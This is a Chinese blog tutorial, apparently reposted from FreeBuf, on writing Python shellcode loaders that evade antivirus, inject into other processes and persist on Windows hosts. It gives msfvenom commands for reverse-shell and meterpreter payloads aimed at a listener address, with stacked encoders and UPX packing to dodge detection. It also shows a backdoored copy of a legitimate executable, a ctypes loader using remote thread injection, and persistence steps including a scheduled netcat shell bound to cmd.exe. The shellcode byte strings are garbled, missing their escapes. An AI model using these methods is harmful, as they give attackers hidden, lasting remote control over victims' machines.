概述
大家好,我是铁汉fhoenix,今天和大家聊聊shellcode。
什么是shellcode
我在这里简单讲一下什么是Shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。
今天 让我来教大家如何编写py shellcode并且免杀,注入,以及转换成windows可执行文件
利用生成cpu可执行的代码
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
msfvenom -p windows/exec CMD='calc.exe' EXITFUNC=thread -f py
当然,你也可以进行免杀
下面是我以前在freebuf写的文章中的部分内容
通常msf裸奔肯定会被某绒查杀,所以使用msf多重编码是个好主意。上代码!
msfvenom -p windows/meterpreter/rever_tcp LHOST=192.168.0.100 LPORT=4444 -e x86/shiata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o a.exe
10次s编码,5次a编码,10次s编码,最后再来10次c编码。nice!
随便弄一个叫cc.exe的可执行文件。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -e x86/shikata_ga_nai -x cc.exe -i 5 -f exe -o cc2.exe
用shi对cc进行5次编码,当然你也可以进行多重编码。最后生成注入后的程序cc2。噢噢噢噢,对了你可以增加一个-k参数,配置攻击载荷在独立的线程内启动,这样不会对cc有所影响。
最后就是upx加壳
upx -5 cc2.exe -k
shellcode编写
这里我们要调用windows底层api函数,分配内存,给予进程所有权限。。。
这里直接上代码
from ctypes import *
from ctypes.wintypes import *
import sys
PAGE_EXECUTE_READWRITE = 0x00000040 # 区域可执行代码,可读可写
MEM_COMMIT = 0x3000 # 分配内存
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) #给予进程所有权限# windows api
VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread# msfvenom -p windows/x64/exec CMD='calc.exe' -f py
shellcode = bytearray(
b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
b"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
b"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
b"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
b"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
b"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
b"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
b"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
b"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
b"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
b"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
b"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
b"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
b"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
b"x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"
b"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
b"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
b"x63x2ex65x78x65x00"
)# msfvenom -p windows/exec CMD='calc.exe' EXITFUNC=thread -f py
shellcode1 = b""
shellcode1 += b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41"
shellcode1 += b"x50x52x51x56x48x31xd2x65x48x8bx52x60x48"
shellcode1 += b"x8bx52x18x48x8bx52x20x48x8bx72x50x48x0f"
shellcode1 += b"xb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7c"
shellcode1 += b"x02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52"
shellcode1 += b"x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8b"
shellcode1 += b"x80x88x00x00x00x48x85xc0x74x67x48x01xd0"
shellcode1 += b"x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56"
shellcode1 += b"x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9"
shellcode1 += b"x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0"
shellcode1 += b"x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58"
shellcode1 += b"x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44"
shellcode1 += b"x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0"
shellcode1 += b"x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
shellcode1 += b"x48x83xecx20x41x52xffxe0x58x41x59x5ax48"
shellcode1 += b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00"
shellcode1 += b"x00x00x00x00x00x48x8dx8dx01x01x00x00x41"
shellcode1 += b"xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41"
shellcode1 += b"xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06"
shellcode1 += b"x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
shellcode1 += b"x00x59x41x89xdaxffxd5x63x61x6cx63x2ex65"
shellcode1 += b"x78x65x00"
def run1():
VirtualAlloc.restype = ctypes.c_void_p # 重载函数返回类型为void
p = VirtualAlloc(c_int(0), c_int(len(shellcode)), MEM_COMMIT, PAGE_EXECUTE_READWRITE) # 申请内存
buf = (c_char * len(shellcode)).from_buffer(shellcode) # 将shellcode指向指针
RtlMoveMemory(c_void_p(p), buf, c_int(len(shellcode))) # 复制shellcode进申请的内存中
h = CreateThread(c_int(0), c_int(0), c_void_p(p), c_int(0), c_int(0), pointer(c_int(0))) # 执行创建线程
WaitForSingleObject(c_int(h), c_int(-1)) # 检测线程创建事件
def run2(pid):
h_process = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if h_process:
p = VirtualAllocEx(h_process, c_int(0), c_int(len(shellcode1)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)]
WriteProcessMemory.restype = BOOL
buf = create_string_buffer(shellcode1)
WriteProcessMemory(h_process, p, shellcode1, sizeof(buf), byref(c_size_t(0)))
else:
print("无法打开进程pid: %s" % pid)
sys.exit()CreateRemoteThread(h_process, None, c_int(0), p, None, 0, byref(c_ulong(0)))
if __name__ == "__main__":
try:
if sys.argv[1]:
run2(int(sys.argv[1]))
else:
run1()
except IndexError:
run1()
这里我建议自定义的shellcode参数最好改掉,不然不怕火绒会检查出敏感词汇。。。
这里我设定的一个检查注入,就是你在执行这个程序的时候需要而外填写,你们可以改掉
剩下我就不多说了,看代码(我懒得打字)
转换为windows可执行exe文件
pyinstaller -f a.py
这里要在windows机器上面执行!pyinstall你们应该都听过。。。
拓展
下面是我以前在freebuf写的文章中的部分内容
1.在目标运行M马,取得shell以后。可以先查询进程然后进行注入,这里我们用最简单的方法。直接输入run post/windows/manage/migrate 模块注入它会自动寻找合适的进程注入,并且自动迁移进程。
2.通过msf自带的persistence模块可以设置启动项来进行维持。下面我来解释一下,拿到shell以后输入run persistence -P windows/x64/meterper/reverse_tcp -X -i 5 -p 12345 -r 192.168.X.X 配置开机自启动,并且每次尝试连接的时间间隔为5秒。然后我们退出,输入exit,重新配置,开启监听后可以发现不要重新上传shell就可以立即拿到shell
3.通过metsvc模块可以在已经获取shell的设备上面开启一个服务来提供后M功能。自动安装后M run metsvc -A,他会自动创建一个端口为31337的服务,并且传输3个文件
4.通过scheduleme来创建计划任务,但是要system权限。在我们获取shell后输入getuid获取当前权限,运行getsystem把系统提升为system权限。这里我们又要用到大名鼎鼎的nc了,上传nc并创建计划任务,每分钟执行一次nc -Ldp 4444 -e cmd.exe,输入run scheduleme -m 1 -e '/nc.exe' -o "-Ldp 4444 -e cmd.exe"。之后需要连接shell的时候直接输入nc -v 192.168.0.108 4444,用nc进行shell连接
5.通过autorunscript进行迁移进程。设定完lhost,lprot后输入set AutoRunScript post/windows/manage/migrate 然后run。我这里显示已经自动把进程迁移到了pid为1680的进程
6.通过empire进行维持权限,他是一个基于powershell的渗透测试框架,具体我就不说了。github地址https:github.com/EmpireProject/Empire
请勿用作违法行为,本人对此不负法律责任!
好的,今天就到这里,希望对你们有帮助,我是铁汉fhoenix,再见~
本文作者:铁汉FhoeniX, 转载请注明来自FreeBuf.COM
(首发于freebuf)https://www.freebuf.com/articles/network/282738.html
最后
以上就是受伤雪糕为你收集整理的如何用python编写shellcode并且免杀的全部内容,希望文章能够帮你解决如何用python编写shellcode并且免杀所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复